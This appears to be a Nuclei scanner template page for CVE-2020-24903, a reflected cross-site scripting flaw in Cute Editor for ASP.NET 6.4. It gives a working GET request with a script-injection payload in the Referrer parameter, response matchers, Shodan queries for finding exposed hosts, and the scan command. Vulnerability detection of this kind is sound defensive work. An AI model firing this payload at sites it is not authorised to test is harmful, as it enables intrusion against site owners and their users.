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Cute Editor for ASP.NET 6.4 - Cross-Site Scripting

ID: CVE-2020-24903

Severity: medium

Author: edoardottt

Tags: cve,cve2020,cuteeditor,xss,seclists,cutesoft,asp.net

Cute Editor for ASP.NET 6.4 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

id: CVE-2020-24903
info:
name: Cute Editor for ASP.NET 6.4 - Cross-Site Scripting
author: edoardottt
severity: medium
description: |
Cute Editor for ASP.NET 6.4 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
remediation: |
Upgrade to a patched version of Cute Editor for ASP.NET or implement proper input validation to prevent XSS attacks.
reference:
- https://seclists.org/bugtraq/2016/Mar/104
- https://nvd.nist.gov/vuln/detail/CVE-2020-24903
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-24903
cwe-id: CWE-79
epss-score: 0.00269
epss-percentile: 0.67701
cpe: cpe:2.3:a:cutesoft:cute_editor:6.4:*:*:*:*:asp.net:*:*
metadata:
verified: true
max-request: 1
vendor: cutesoft
product: cute_editor
framework: asp.net
shodan-query:
- http.component:"ASP.NET"
- http.component:"asp.net"
tags: cve,cve2020,cuteeditor,xss,seclists,cutesoft,asp.net
http:
- method: GET
path:
- '{{BaseURL}}/CuteSoft_Client/CuteEditor/Template.aspx?Referrer=XSS";><script>alert(document.domain)</script>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(document.domain)</script></p>"
- "System.Web"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a0046304402200cbe37d5842ad551ed16fe739ce1d90565ced4256e31503365dc8923d31d679802206fc6519ec3846e47058d566ec3f793b8f12ca0850a28443a1e9e4d145624d985:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-24903.yaml"

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